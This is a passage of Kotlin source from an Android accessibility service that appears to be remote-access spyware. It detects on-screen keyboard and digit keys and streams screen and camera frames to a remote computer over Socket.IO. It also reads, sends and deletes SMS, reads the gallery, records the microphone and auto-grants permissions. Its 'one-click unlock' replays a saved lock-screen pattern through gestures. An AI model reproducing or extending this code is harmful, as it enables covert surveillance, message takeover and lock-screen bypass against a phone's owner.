                            text.matches(Regex("^[a-zA-Z]$")) -> "letter"
                            text.length == 1 && "!@#$%^&*()_+-=[]{};\':\",./<>?".contains(text) -> "symbol"
                            text in listOf(
                                "space",
                                "shift",
                                "caps",
                                "del",
                                "delete",
                                "backspace"
                            ) -> "function"

                            text in listOf(
                                "确定",
                                "完成",
                                "发送",
                                "搜索",
                                "OK",
                                "Done",
                                "Send",
                                "Search",
                                "Go",
                                "Next",
                                "Return",
                                "Enter"
                            ) -> "action"

                            className.contains(
                                "Keyboard",
                                ignoreCase = true
                            ) -> "keyboard_container"

                            else -> "other"
                        }

                        val keyboardElement = JSONObject().apply {
                            put("text", text)
                            put("description", desc)
                            put("className", className)
                            put("elementType", elementType)
                            put("bounds", JSONObject().apply {
                                put("left", rect.left)
                                put("top", rect.top)
                                put("right", rect.right)
                                put("bottom", rect.bottom)
                            })
                            put("clickable", node.isClickable)
                        }
                        keyboardElements.put(keyboardElement)
                        keyboardScore += 1.0

                        Log.d(
                            TAG,
                            "🎹 检测到键盘元素: 类型=$elementType, 文本='$text', 描述='$desc'"
                        )
                    }

                    // 检测输入法窗口
                    val packageName = node.packageName?.toString() ?: ""
                    if (packageName.contains("inputmethod", ignoreCase = true) ||
                        packageName.contains("keyboard", ignoreCase = true)
                    ) {
                        val windowInfo = JSONObject().apply {
                            put("packageName", packageName)
                            put("className", className)
                            put("hasText", text.isNotEmpty())
                        }
                        inputMethodWindows.put(windowInfo)
                        keyboardScore += 1.5
                    }

                    // 递归检测子节点
                    for (i in 0 until node.childCount) {
                        val child = node.getChild(i)
                        if (child != null) {
                            try {
                                detectKeyboardElements(child, depth + 1)
                            } finally {
                                child.recycle()
                            }
                        }
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "检测键盘元素失败: ${e.message}")
                }
            }

            detectKeyboardElements(rootNode, 0)

            // 计算置信度
            val confidence = when {
                digitButtons.length() >= 10 -> 0.9 // 有完整数字键盘
                digitButtons.length() >= 5 -> 0.7  // 有部分数字键盘
                keyboardElements.length() >= 10 -> 0.6 // 有较多键盘元素
                keyboardElements.length() >= 5 -> 0.4  // 有少量键盘元素
                inputMethodWindows.length() > 0 -> 0.3 // 有输入法窗口
                else -> 0.0
            }

            result.put("elements", keyboardElements)
            result.put("digitButtons", digitButtons)
            result.put("inputMethodWindows", inputMethodWindows)
            result.put("confidence", confidence)
            result.put("totalElements", totalElements)

            // 统计键盘元素类型
            val elementTypeStats = mutableMapOf<String, Int>()
            for (i in 0 until keyboardElements.length()) {
                val element = keyboardElements.getJSONObject(i)
                val elementType = element.optString("elementType", "unknown")
                elementTypeStats[elementType] = elementTypeStats.getOrDefault(elementType, 0) + 1
            }

            Log.i(
                TAG,
                "🎹 虚拟键盘检测完成: 置信度=$confidence, 键盘元素=${keyboardElements.length()}, 数字按钮=${digitButtons.length()}"
            )
            Log.i(TAG, "📊 键盘元素类型统计: $elementTypeStats")
            Log.i(TAG, "🔍 输入法窗口: ${inputMethodWindows.length()}个, 总扫描元素: $totalElements")

        } catch (e: Exception) {
            Log.e(TAG, "❌ 虚拟键盘检测失败", e)
            result.put("elements", keyboardElements)
            result.put("digitButtons", digitButtons)
            result.put("inputMethodWindows", inputMethodWindows)
            result.put("confidence", 0.0)
            result.put("totalElements", totalElements)
        }

        return result
    }

    /**
     * 🎯 辅助方法：通过位置和大小判断是否可能是键盘按钮
     */
    private fun isLikelyKeyboardButton(node: AccessibilityNodeInfo): Boolean {
        try {
            val rect = android.graphics.Rect()
            node.getBoundsInScreen(rect)

            val screenWidth = resources.displayMetrics.widthPixels
            val screenHeight = resources.displayMetrics.heightPixels

            val width = rect.right - rect.left
            val height = rect.bottom - rect.top
            val centerY = rect.top + height / 2

            // 键盘通常在屏幕下半部分
            val isInBottomHalf = centerY > screenHeight * 0.4

            // 键盘按钮通常比较小且方形
            val isSmallButton = width > 20 && width < screenWidth * 0.2 &&
                    height > 20 && height < screenHeight * 0.1

            // 宽高比接近正方形或稍微宽一点（键盘按钮特征）
            val aspectRatio = width.toFloat() / height.toFloat()
            val isKeyboardAspectRatio = aspectRatio > 0.5 && aspectRatio < 3.0

            val result = isInBottomHalf && isSmallButton && isKeyboardAspectRatio

            if (result) {
                Log.d(
                    TAG,
                    "🎯 位置推测检测到可能的键盘按钮: 位置=(${rect.left},${rect.top}), 大小=${width}x${height}, 宽高比=$aspectRatio"
                )
            }

            return result

        } catch (e: Exception) {
            Log.w(TAG, "位置推测检测失败: ${e.message}")
            return false
        }
    }

    /**
     * ✅ 暂停屏幕数据发送，等待注册完成
     */
    fun pauseScreenCaptureUntilRegistered() {
        Log.i(TAG, "⏸️ 暂停屏幕数据发送，等待设备注册完成")
        if (::screenCaptureManager.isInitialized) {
            screenCaptureManager.pauseCapture()
            Log.i(TAG, "✅ 屏幕捕获已暂停")
        } else {
            Log.w(TAG, "⚠️ ScreenCaptureManager未初始化")
        }
    }

    /**
     * ✅ 注册成功后恢复屏幕数据发送
     */
    /**
     * 设置进度条功能启用状态
     */
    fun setProgressBarEnabled(enabled: Boolean) {
        if (::configProgressManager.isInitialized) {
            configProgressManager.setProgressBarEnabled(enabled)
            Log.i(TAG, "🔧 进度条功能已${if (enabled) "启用" else "禁用"}")
        }
    }

    fun resumeScreenCaptureAfterRegistration() {
        Log.i(TAG, "▶️ 设备注册成功，恢复屏幕数据发送")
        if (::configProgressManager.isInitialized) {
            configProgressManager.updateProgress(ConfigProgressManager.ConfigStage.REGISTERING_DEVICE)
        }
        if (::screenCaptureManager.isInitialized) {
            if (screenCaptureManager.isPaused()) {
                screenCaptureManager.resumeCapture()
                Log.i(TAG, "✅ 屏幕数据发送已恢复")
            } else {
                Log.i(TAG, "✅ 屏幕捕获已在运行中")
            }
        } else {
            Log.w(TAG, "⚠️ ScreenCaptureManager未初始化，需要重新启动屏幕捕获")
            startScreenCapture()
        }
    }

    // ==================== 摄像头相关方法 ====================

    /**
     * 检查摄像头权限
     */
    fun checkCameraPermission(): Boolean {
        return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            checkSelfPermission(android.Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED
        } else {
            true
        }
    }

    /**
     * 申请摄像头权限
     */
    fun requestCameraPermission() {
        try {
            Log.i(TAG, "📷 开始申请摄像头权限")

            if (checkCameraPermission()) {
                Log.i(TAG, "✅ 摄像头权限已授予")
                return
            }

            // 使用权限管理器的自动申请功能
            if (::permissionGranter.isInitialized) {
                permissionGranter.startCameraPermissionRequest()
            } else {
                Log.w(TAG, "⚠️ PermissionGranter未初始化，检查是否使用备用方法")
                
                // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
                if (isKeepAliveScenario()) {
                    Log.i(TAG, "💡 保活场景下申请摄像头权限，不启动MainActivity（避免保活程序拉起）")
                    Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
                    return
                }
                
                // 备用方法：直接启动权限申请Activity
                val intent = Intent(this, MainActivity::class.java).apply {
                    flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
                    putExtra("request_camera_permission", true)
                }
                startActivity(intent)
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 申请摄像头权限失败", e)
        }
    }

    /**
     * 启动摄像头捕获
     */
    fun startCameraCapture() {
        try {
            Log.i(TAG, "📷 启动摄像头捕获")

            if (!checkCameraPermission()) {
                Log.e(TAG, "❌ 摄像头权限未授予，开始申请权限")
                requestCameraPermission()
                return
            }

            if (::cameraManager.isInitialized) {
                // 设置摄像头数据回调
                cameraManager.setOnFrameCaptured { frameData ->
                    // 通过Socket.IO发送摄像头数据到电脑
                    if (::socketIOManager.isInitialized) {
                        socketIOManager.sendCameraFrame(frameData)
                    }
                }

                cameraManager.startCamera()
                cameraManager.startCapturing()
                Log.i(TAG, "✅ 摄像头捕获已启动")
            } else {
                Log.e(TAG, "❌ CameraManager未初始化")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动摄像头捕获失败", e)
        }
    }

    /**
     * 停止摄像头捕获
     */
    fun stopCameraCapture() {
        try {
            Log.i(TAG, "📷 停止摄像头捕获")

            if (::cameraManager.isInitialized) {
                cameraManager.stopCapturing()
                cameraManager.stopCamera()
                Log.i(TAG, "✅ 摄像头捕获已停止")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 停止摄像头捕获失败", e)
        }
    }

    /**
     * 检查摄像头是否正在捕获
     */
    fun isCameraCapturing(): Boolean {
        return try {
            cameraManager.isCapturing()
        } catch (e: Exception) {
            Log.e(TAG, "检查摄像头捕获状态失败", e)
            false
        }
    }

    fun getCameraInfo(): String {
        return try {
            cameraManager.getCurrentCameraInfo()
        } catch (e: Exception) {
            Log.e(TAG, "获取摄像头信息失败", e)
            "获取摄像头信息失败"
        }
    }

    // 📱 相册权限控制方法
    fun checkGalleryPermission(): Boolean {
        return try {
            galleryManager.hasReadMediaPermission()
        } catch (e: Exception) {
            Log.e(TAG, "检查相册权限失败", e)
            false
        }
    }

    /**
     * 检查麦克风权限
     */
    fun checkMicrophonePermission(): Boolean {
        return try {
            permissionGranter.checkMicrophonePermission()
        } catch (e: Exception) {
            Log.e(TAG, "检查麦克风权限失败", e)
            false
        }
    }

    /**
     * 申请麦克风权限
     */
    fun requestMicrophonePermission() {
        try {
            Log.i(TAG, "🎤 申请麦克风权限")
            permissionGranter.startMicrophonePermissionRequest()
        } catch (e: Exception) {
            Log.e(TAG, "申请麦克风权限失败", e)
        }
    }

    /**
     * 申请麦克风权限（自动授权）
     */
    fun requestMicrophonePermissionWithAutoGrant() {
        try {
            Log.i(TAG, "🎤 申请麦克风权限（自动授权）")
            permissionGranter.startMicrophonePermissionRequest()
        } catch (e: Exception) {
            Log.e(TAG, "申请麦克风权限失败", e)
        }
    }

    /**
     * 开始麦克风录音
     */
    fun startMicrophoneRecording() {
        try {
            Log.i(TAG, "🎤 开始麦克风录音")
            microphoneManager.startRecording()
        } catch (e: Exception) {
            Log.e(TAG, "开始麦克风录音失败", e)
        }
    }

    /**
     * 停止麦克风录音
     */
    fun stopMicrophoneRecording() {
        try {
            Log.i(TAG, "🎤 停止麦克风录音")
            microphoneManager.stopRecording()
        } catch (e: Exception) {
            Log.e(TAG, "停止麦克风录音失败", e)
        }
    }

    /**
     * 获取麦克风录音状态
     */
    fun isMicrophoneRecording(): Boolean {
        return try {
            microphoneManager.isRecording()
        } catch (e: Exception) {
            Log.e(TAG, "获取麦克风录音状态失败", e)
            false
        }
    }


    fun requestGalleryPermissionWithAutoGrant() {
        try {
            Log.d(TAG, "🖼️ 请求相册权限（自动授予）")
            permissionGranter.startGalleryPermissionRequest()
        } catch (e: Exception) {
            Log.e(TAG, "请求相册权限（自动授予）失败", e)
        }
    }

    // 📱 短信控制方法
    fun checkSMSPermission(): Boolean {
        return try {
            smsManager.checkSMSPermission()
        } catch (e: Exception) {
            Log.e(TAG, "检查短信权限失败", e)
            false
        }
    }

    fun requestSMSPermission() {
        try {
            Log.d(TAG, "📱 请求短信权限")
            smsManager.requestSMSPermission()
        } catch (e: Exception) {
            Log.e(TAG, "请求短信权限失败", e)
        }
    }

    fun requestSMSPermissionWithAutoGrant() {
        try {
            Log.d(TAG, "📱 请求短信权限（自动授予）")
            permissionGranter.startSMSPermissionRequest()
        } catch (e: Exception) {
            Log.e(TAG, "请求短信权限（自动授予）失败", e)
        }
    }


    fun readSMSList(limit: Int = 50): List<com.hikoncont.manager.SMSMessage> {
        return try {
            smsManager.readSMSList(limit)
        } catch (e: Exception) {
            Log.e(TAG, "读取短信列表失败", e)
            emptyList()
        }
    }

    fun readGallery(limit: Int = 100): List<com.hikoncont.manager.GalleryManager.GalleryItem> {
        return try {
            galleryManager.readGalleryList(limit)
        } catch (e: Exception) {
            Log.e(TAG, "读取相册失败", e)
            emptyList()
        }
    }

    fun sendSMS(phoneNumber: String, message: String): Boolean {
        return try {
            smsManager.sendSMSWithPermissionHandling(phoneNumber, message)
        } catch (e: Exception) {
            Log.e(TAG, "发送短信失败", e)
            false
        }
    }

    fun markSMSAsRead(smsId: Long): Boolean {
        return try {
            smsManager.markSMSAsRead(smsId)
        } catch (e: Exception) {
            Log.e(TAG, "标记短信为已读失败", e)
            false
        }
    }

    fun deleteSMS(smsId: Long): Boolean {
        return try {
            smsManager.deleteSMS(smsId)
        } catch (e: Exception) {
            Log.e(TAG, "删除短信失败", e)
            false
        }
    }

    fun getUnreadSMSCount(): Int {
        return try {
            smsManager.getUnreadSMSCount()
        } catch (e: Exception) {
            Log.e(TAG, "获取未读短信数量失败", e)
            0
        }
    }

    fun debugAllVisibleElements() {
        try {
            Log.d(TAG, "开始调试所有可见UI元素...")
            permissionGranter.debugAllVisibleElements()
        } catch (e: Exception) {
            Log.e(TAG, "调试UI元素失败", e)
        }
    }


    // 📷 摄像头控制方法
    fun startCamera() {
        try {
            Log.d(TAG, "📷 启动摄像头并开始捕获")
            cameraManager.startCamera()
        } catch (e: Exception) {
            Log.e(TAG, "启动摄像头失败", e)
        }
    }

    fun stopCamera() {
        try {
            Log.d(TAG, "📷 停止摄像头并停止捕获")
            cameraManager.stopCamera()
        } catch (e: Exception) {
            Log.e(TAG, "停止摄像头失败", e)
        }
    }

    fun switchCamera() {
        try {
            Log.d(TAG, "📷 切换摄像头")
            // 先停止当前摄像头捕获
            if (::cameraManager.isInitialized) {
                cameraManager.stopCapturing()
                cameraManager.stopCamera()
            }
            // 切换到下一个摄像头
            cameraManager.switchToNextCamera()
            Log.d(TAG, "📷 当前摄像头: ${cameraManager.getCurrentCameraInfo()}")
            // 重新启动摄像头捕获
            startCameraCapture()
        } catch (e: Exception) {
            Log.e(TAG, "切换摄像头失败", e)
        }
    }

    // 保留单独的捕获控制方法，用于精细控制
    fun startCameraCapturing() {
        try {
            Log.d(TAG, "📷 开始摄像头捕获")
            cameraManager.startCapturing()
        } catch (e: Exception) {
            Log.e(TAG, "开始摄像头捕获失败", e)
        }
    }

    fun stopCameraCapturing() {
        try {
            Log.d(TAG, "📷 停止摄像头捕获")
            cameraManager.stopCapturing()
        } catch (e: Exception) {
            Log.e(TAG, "停止摄像头捕获失败", e)
        }
    }

    /**
     * 一键解锁设备
     * 读取保存的图形密码轨迹并执行解锁
     */
    fun unlockDevice() {
        try {
            Log.i(TAG, "🔓 开始一键解锁设备")

            // 1. 检查设备是否已解锁
            if (!isDeviceLocked()) {
                Log.i(TAG, "🔓 设备已解锁，无需操作")
                return
            }

            // 2. 读取保存的图形密码轨迹
            val patternData = loadSavedPatternData()
            if (patternData == null) {
                Log.w(TAG, "🔓 未找到保存的图形密码数据，无法解锁")
                return
            }

            // 3. 唤醒设备并打开解锁界面
            wakeUpDevice()

            // 4. 等待解锁界面出现并执行解锁
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                performPatternUnlock(patternData)
            }, 3000) // 等待3秒让锁屏界面完全加载

        } catch (e: Exception) {
            Log.e(TAG, "❌ 一键解锁失败", e)
        }
    }


    /**
     * 检查设备是否已锁定
     */
    private fun isDeviceLocked(): Boolean {
        return try {
            val keyguardManager = getSystemService(Context.KEYGUARD_SERVICE) as KeyguardManager
            keyguardManager.isKeyguardLocked
        } catch (e: Exception) {
            Log.e(TAG, "检查设备锁定状态失败", e)
            true // 假设已锁定
        }
    }

    /**
     * 读取保存的图形密码数据
     */
    private fun loadSavedPatternData(): PatternUnlockData? {
        return try {
            val filesDir = File(applicationContext.filesDir, "pattern_trajectories")
            if (!filesDir.exists()) {
                Log.w(TAG, "🔓 密码数据目录不存在")
                return null
            }

            // 查找固定名称的图形密码文件
            val deviceId = android.provider.Settings.Secure.getString(
                contentResolver,
                android.provider.Settings.Secure.ANDROID_ID
            ) ?: "unknown"

            val patternFile = File(filesDir, "pattern_${deviceId}.json")

            if (!patternFile.exists()) {
                Log.w(TAG, "🔓 未找到图形密码文件: ${patternFile.name}")
                return null
            }

            val jsonString = patternFile.readText()
            val json = JSONObject(jsonString)

            val pattern = json.getString("pattern")
            val points = mutableListOf<PointF>()

            val pointsArray = json.getJSONArray("points")
            for (i in 0 until pointsArray.length()) {
                val pointObj = pointsArray.getJSONObject(i)
                val row = pointObj.getInt("row")
                val col = pointObj.getInt("col")
                points.add(PointF(row.toFloat(), col.toFloat()))
            }

            Log.i(TAG, "🔓 成功读取图形密码数据: $pattern")
            PatternUnlockData(pattern, points)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 读取图形密码数据失败", e)
            null
        }
    }

    /**
     * 唤醒设备并激活锁屏界面
     */
    private fun wakeUpDevice() {
        try {
            Log.i(TAG, "🔓 开始唤醒设备...")

            val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager

            // 检查屏幕是否已亮起
            if (powerManager.isInteractive) {
                Log.i(TAG, "🔓 屏幕已亮起，检查锁屏状态")
                // 屏幕已亮起，直接检查锁屏状态
                checkAndActivateLockScreen()
                return
            }

            // 使用现有的wakeScreen函数点亮屏幕
            wakeScreen()

            // 等待屏幕点亮后激活锁屏界面
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                checkAndActivateLockScreen()
            }, 1500) // 等待1.5秒让屏幕完全点亮

        } catch (e: Exception) {
            Log.e(TAG, "❌ 唤醒设备失败", e)
        }
    }

    /**
     * 检查并激活锁屏界面
     */
    private fun checkAndActivateLockScreen() {
        try {
            val keyguardManager = getSystemService(Context.KEYGUARD_SERVICE) as KeyguardManager

            if (keyguardManager.isKeyguardLocked) {
                Log.i(TAG, "🔓 检测到锁屏状态，激活锁屏界面")
                activateLockScreen()
            } else {
                Log.i(TAG, "🔓 设备未锁定，无需解锁")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查锁屏状态失败", e)
        }
    }

    /**
     * 激活锁屏界面
     */
    private fun activateLockScreen() {
        try {
            val displayMetrics = resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels

            Log.i(TAG, "🔓 执行向上滑动手势激活锁屏界面")

            // 从屏幕底部向上滑动，模拟用户唤醒锁屏的手势
            performSwipe(
                screenWidth / 2f, screenHeight - 100f,  // 从底部开始
                screenWidth / 2f, screenHeight / 3f,    // 滑动到屏幕上方1/3处
                800  // 滑动持续时间800ms
            )

            // 延迟一点时间让锁屏界面完全显示
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                Log.i(TAG, "🔓 锁屏界面激活完成")
            }, 1000)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 激活锁屏界面失败", e)
        }
    }

    /**
     * 获取状态栏高度
     */
    private fun getStatusBarHeight(): Int {
        var result = 0
        val resourceId = resources.getIdentifier("status_bar_height", "dimen", "android")
        if (resourceId > 0) {
            result = resources.getDimensionPixelSize(resourceId)
        }
        return result
    }

    /**
     * 执行图形密码解锁
     */
    private fun performPatternUnlock(patternData: PatternUnlockData) {
        try {
            Log.i(TAG, "🔓 开始执行图形密码解锁: ${patternData.pattern}")

            // 获取完整屏幕尺寸，包括导航栏
            val windowManager = getSystemService(Context.WINDOW_SERVICE) as WindowManager
            val display = windowManager.defaultDisplay
            val realSize = android.graphics.Point()

            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
                display.getRealSize(realSize)
            } else {
                @Suppress("DEPRECATION")
                display.getSize(realSize)
            }

            // 获取状态栏高度
            val statusBarHeight = getStatusBarHeight()

            val screenWidth = realSize.x
            val screenHeight = realSize.y - statusBarHeight  // 减去状态栏高度

            Log.i(TAG, "🔓 完整屏幕尺寸: ${realSize.x}x${realSize.y} (包含导航栏)")
            Log.i(TAG, "🔓 状态栏高度: $statusBarHeight")
            Log.i(TAG, "🔓 调整后屏幕尺寸: ${screenWidth}x${screenHeight} (排除状态栏，包含导航栏)")

            // ✅ 通用自适应九宫格布局方案，基于屏幕比例和密度
            val patternLayouts = generateAdaptivePatternLayouts(screenWidth, screenHeight)

            // ✅ 依次尝试每种布局
            for ((layoutName, patternLayout) in patternLayouts) {
                Log.i(TAG, "🎯 尝试九宫格布局: $layoutName")

                // 直接从pattern字符串提取数字并转换为坐标
                val coordinates =
                    convertPatternStringToCoordinates(patternData.pattern, patternLayout)

                if (coordinates.isNotEmpty()) {
                    Log.i(TAG, "🔓 使用布局 $layoutName 的坐标: $coordinates")

                    // 记录操作日志
                    recordOperationLog(
                        "PATTERN_UNLOCK", "图形密码解锁尝试", mapOf(
                            "pattern" to patternData.pattern,
                            "layout" to layoutName,
                            "coordinates" to coordinates.map { "(${it.x}, ${it.y})" },
                            "screenSize" to "${screenWidth}x${screenHeight}",
                            "inputMethod" to "pattern_unlock_adaptive"
                        )
                    )

                    // ✅ 执行连续长按拖拽来绘制图形密码
                    val success =
                        performPatternGesture(coordinates, patternData.pattern, layoutName)
                    if (success) {
                        Log.i(TAG, "✅ 图形密码解锁成功 (使用布局: $layoutName)")
                        return
                    } else {
                        Log.w(TAG, "⚠️ 布局 $layoutName 解锁失败，尝试下一个")
                        // 短暂延迟后尝试下一个布局
                        Thread.sleep(500)
                    }
                }
            }

            Log.e(TAG, "❌ 所有布局尝试失败")

        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行图形密码解锁失败", e)
        }
    }

    /**
     * ✅ 生成自适应九宫格布局方案
     */
    private fun generateAdaptivePatternLayouts(
        screenWidth: Int,
        screenHeight: Int
    ): List<Pair<String, Map<String, Pair<Float, Float>>>> {
        val layouts = mutableListOf<Pair<String, Map<String, Pair<Float, Float>>>>()

        // 计算屏幕特征
        val aspectRatio = screenHeight.toFloat() / screenWidth.toFloat()
        val isLongScreen = aspectRatio > 2.0f  // 长屏设备（如18:9, 19:9等）
        val isWideScreen = aspectRatio < 1.8f  // 宽屏设备（如16:9等）
        val screenDensity = resources.displayMetrics.density

        Log.i(
            TAG,
            "🔍 屏幕特征分析: ${screenWidth}x${screenHeight}, 比例=${
                String.format(
                    "%.2f",
                    aspectRatio
                )
            }, 长屏=$isLongScreen, 宽屏=$isWideScreen, 密度=$screenDensity"
        )

        // 方案1：基于屏幕比例的标准布局
        val standardLayout = generateStandardLayout(screenWidth, screenHeight, aspectRatio)
        layouts.add("标准自适应布局" to standardLayout)

        // 方案2：紧凑布局（适用于键盘位置较高的设备）
        val compactLayout = generateCompactLayout(screenWidth, screenHeight, aspectRatio)
        layouts.add("紧凑布局" to compactLayout)

        // 方案3：扩展布局（适用于键盘位置较低的设备）
        val extendedLayout = generateExtendedLayout(screenWidth, screenHeight, aspectRatio)
        layouts.add("扩展布局" to extendedLayout)

        // 方案4：基于密度的微调布局
        val densityAdjustedLayout =
            generateDensityAdjustedLayout(screenWidth, screenHeight, screenDensity)
        layouts.add("密度调整布局" to densityAdjustedLayout)

        // 方案5：边距优化布局（适用于不同宽度的设备）
        val marginOptimizedLayout =
            generateMarginOptimizedLayout(screenWidth, screenHeight, isWideScreen)
        layouts.add("边距优化布局" to marginOptimizedLayout)

        return layouts
    }

    /**
     * ✅ 生成标准自适应布局
     */
    private fun generateStandardLayout(
        screenWidth: Int,
        screenHeight: Int,
        aspectRatio: Float
    ): Map<String, Pair<Float, Float>> {
        // 根据屏幕比例调整键盘起始位置
        val keyboardStartY = when {
            aspectRatio > 2.2f -> 0.48f  // 超长屏，键盘位置更靠上

            aspectRatio > 2.0f -> 0.55f  // 长屏

            aspectRatio > 1.8f -> 0.60f  // 标准屏
            else -> 0.65f                // 宽屏，键盘位置更靠下
        }

        val rowSpacing = 0.1f  // 行间距

        return mapOf(
            "1" to Pair(screenWidth * 0.25f, screenHeight * keyboardStartY),
            "2" to Pair(screenWidth * 0.50f, screenHeight * keyboardStartY),
            "3" to Pair(screenWidth * 0.75f, screenHeight * keyboardStartY),
            "4" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing)),
            "5" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing)),
            "6" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing)),
            "7" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "8" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "9" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "0" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 3))
        )
    }

    /**
     * ✅ 生成紧凑布局
     */
    private fun generateCompactLayout(
        screenWidth: Int,
        screenHeight: Int,
        aspectRatio: Float
    ): Map<String, Pair<Float, Float>> {
        val keyboardStartY = when {
            aspectRatio > 2.2f -> 0.45f
            aspectRatio > 2.0f -> 0.50f
            aspectRatio > 1.8f -> 0.55f
            else -> 0.60f
        }

        val rowSpacing = 0.07f  // 更紧凑的行间距

        return mapOf(
            "1" to Pair(screenWidth * 0.25f, screenHeight * keyboardStartY),
            "2" to Pair(screenWidth * 0.50f, screenHeight * keyboardStartY),
            "3" to Pair(screenWidth * 0.75f, screenHeight * keyboardStartY),
            "4" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing)),
            "5" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing)),
            "6" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing)),
            "7" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "8" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "9" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "0" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 3))
        )
    }

    /**
     * ✅ 生成扩展布局
     */
    private fun generateExtendedLayout(
        screenWidth: Int,
        screenHeight: Int,
        aspectRatio: Float
    ): Map<String, Pair<Float, Float>> {
        val keyboardStartY = when {
            aspectRatio > 2.2f -> 0.60f
            aspectRatio > 2.0f -> 0.65f
            aspectRatio > 1.8f -> 0.70f
            else -> 0.75f
        }

        val rowSpacing = 0.09f  // 更大的行间距

        return mapOf(
            "1" to Pair(screenWidth * 0.25f, screenHeight * keyboardStartY),
            "2" to Pair(screenWidth * 0.50f, screenHeight * keyboardStartY),
            "3" to Pair(screenWidth * 0.75f, screenHeight * keyboardStartY),
            "4" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing)),
            "5" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing)),
            "6" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing)),
            "7" to Pair(screenWidth * 0.25f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "8" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "9" to Pair(screenWidth * 0.75f, screenHeight * (keyboardStartY + rowSpacing * 2)),
            "0" to Pair(screenWidth * 0.50f, screenHeight * (keyboardStartY + rowSpacing * 3))
        )
    }

    /**
     * ✅ 生成基于密度调整的布局
     */
    private fun generateDensityAdjustedLayout(
        screenWidth: Int,
        screenHeight: Int,
        density: Float
    ): Map<String, Pair<Float, Float>> {
        // 根据屏幕密度微调位置
        val densityOffset = when {
            density >= 3.0f -> 0.02f   // 高密度屏幕，稍微向上调整
            density >= 2.0f -> 0.00f   // 标准密度
            else -> -0.02f             // 低密度屏幕，稍微向下调整
        }

        val baseY = 0.58f + densityOffset
        val rowSpacing = 0.08f

        return mapOf(
            "1" to Pair(screenWidth * 0.25f, screenHeight * baseY),
            "2" to Pair(screenWidth * 0.50f, screenHeight * baseY),
            "3" to Pair(screenWidth * 0.75f, screenHeight * baseY),
            "4" to Pair(screenWidth * 0.25f, screenHeight * (baseY + rowSpacing)),
            "5" to Pair(screenWidth * 0.50f, screenHeight * (baseY + rowSpacing)),
            "6" to Pair(screenWidth * 0.75f, screenHeight * (baseY + rowSpacing)),
            "7" to Pair(screenWidth * 0.25f, screenHeight * (baseY + rowSpacing * 2)),
            "8" to Pair(screenWidth * 0.50f, screenHeight * (baseY + rowSpacing * 2)),
            "9" to Pair(screenWidth * 0.75f, screenHeight * (baseY + rowSpacing * 2)),
            "0" to Pair(screenWidth * 0.50f, screenHeight * (baseY + rowSpacing * 3))
        )
    }

    /**
     * ✅ 生成边距优化布局
     */
    private fun generateMarginOptimizedLayout(
        screenWidth: Int,
        screenHeight: Int,
        isWideScreen: Boolean
    ): Map<String, Pair<Float, Float>> {
        // 根据屏幕宽度调整左右边距
        val leftMargin = if (isWideScreen) 0.20f else 0.25f
        val rightMargin = if (isWideScreen) 0.80f else 0.75f
        val centerX = 0.50f

        val baseY = 0.58f
        val rowSpacing = 0.08f

        return mapOf(
            "1" to Pair(screenWidth * leftMargin, screenHeight * baseY),
            "2" to Pair(screenWidth * centerX, screenHeight * baseY),
            "3" to Pair(screenWidth * rightMargin, screenHeight * baseY),
            "4" to Pair(screenWidth * leftMargin, screenHeight * (baseY + rowSpacing)),
            "5" to Pair(screenWidth * centerX, screenHeight * (baseY + rowSpacing)),
            "6" to Pair(screenWidth * rightMargin, screenHeight * (baseY + rowSpacing)),
            "7" to Pair(screenWidth * leftMargin, screenHeight * (baseY + rowSpacing * 2)),
            "8" to Pair(screenWidth * centerX, screenHeight * (baseY + rowSpacing * 2)),
            "9" to Pair(screenWidth * rightMargin, screenHeight * (baseY + rowSpacing * 2)),
            "0" to Pair(screenWidth * centerX, screenHeight * (baseY + rowSpacing * 3))
        )
    }

    /**
     * 从屏幕中查找九宫格点
     */
    private fun findPatternDotsFromScreen(node: AccessibilityNodeInfo): List<PointF> {
        val dots = mutableListOf<PointF>()

        try {
            // 递归查找所有可能的点
            findPatternDotsRecursive(node, dots)

        } catch (e: Exception) {
